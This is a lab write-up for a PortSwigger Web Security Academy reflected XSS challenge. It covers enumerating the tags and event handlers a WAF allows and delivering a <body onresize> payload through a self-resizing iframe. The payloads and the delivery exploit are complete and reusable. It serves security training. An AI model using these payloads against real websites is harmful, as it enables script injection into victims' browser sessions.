Reflected XSS — WAF Bypass via Event Handler Enumeration¶
| Field | Value |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Vulnerability | Reflected XSS — WAF Bypass |
| Difficulty | Practitioner |
| Injection Point | search query parameter |
| Goal | Find an allowed tag and event handler, deliver payload without user interaction |
Phase 1 — Reconnaissance¶
Testing common XSS payloads in the search bar:
<h1>teto</h1>
<script>alert(0)</script>
<img src=teto.png onerror=alert(0)>
All return Tag is not allowed — the WAF is blocking known HTML tags. Rather than guessing, we enumerate systematically.
Phase 2 — Enumerate Allowed Tags¶
Intercepting the search request and sending to Intruder with the payload position around the tag name:
/?search=<§tag§>
Using the PortSwigger XSS cheat sheet tag list as the payload:
Starting the Sniper attack:
Result: <body> returns HTTP 200 — it is the only non-<xss> tag that passes the WAF.
Phase 3 — Enumerate Allowed Events on body¶
Sending a new request to Intruder with the <body> tag and fuzzing the event handler:
/?search=<body §event§=alert(0)>
Using the PortSwigger XSS cheat sheet event list as the payload:
Several events return 200. onresize is a good candidate — it fires when the element is resized.
Phase 4 — Confirm Payload Works¶
/?search=<body onresize=alert(0)>
Resizing the browser window triggered the alert — the payload works.
Phase 5 — Deliver Without User Interaction¶
The lab requires the payload to execute without any interaction from the victim. The victim cannot be expected to resize their window. Using an iframe that forces its own resize via onload:
<iframe
src="https://TARGET.web-security-academy.net/?search=<body onresize=print()>"
onload="this.style.width='100px'">
</iframe>
How this works:
- The iframe loads the target page with the
<body onresize=print()>payload - The iframe's
onloadfires after the page finishes loading this.style.width='100px'changes the iframe's width- The iframe resizes → the
<body>inside the iframe resizes →onresizefires →print()executes
Lab solved.
Conclusion¶
- Standard XSS payloads returned
Tag is not allowed— the WAF was blocking known HTML tags. - Burp Intruder Sniper attack against the tag list from the PortSwigger cheat sheet identified
<body>as the only allowed non-<xss>tag. - A second Intruder attack fuzzed event handlers on
<body>—onresize(among others) returned200. <body onresize=alert(0)>confirmed the payload fired on browser resize.- An iframe with
onload="this.style.width='100px'"forced a programmatic resize of the embedded page, triggeringonresizewithout any victim interaction.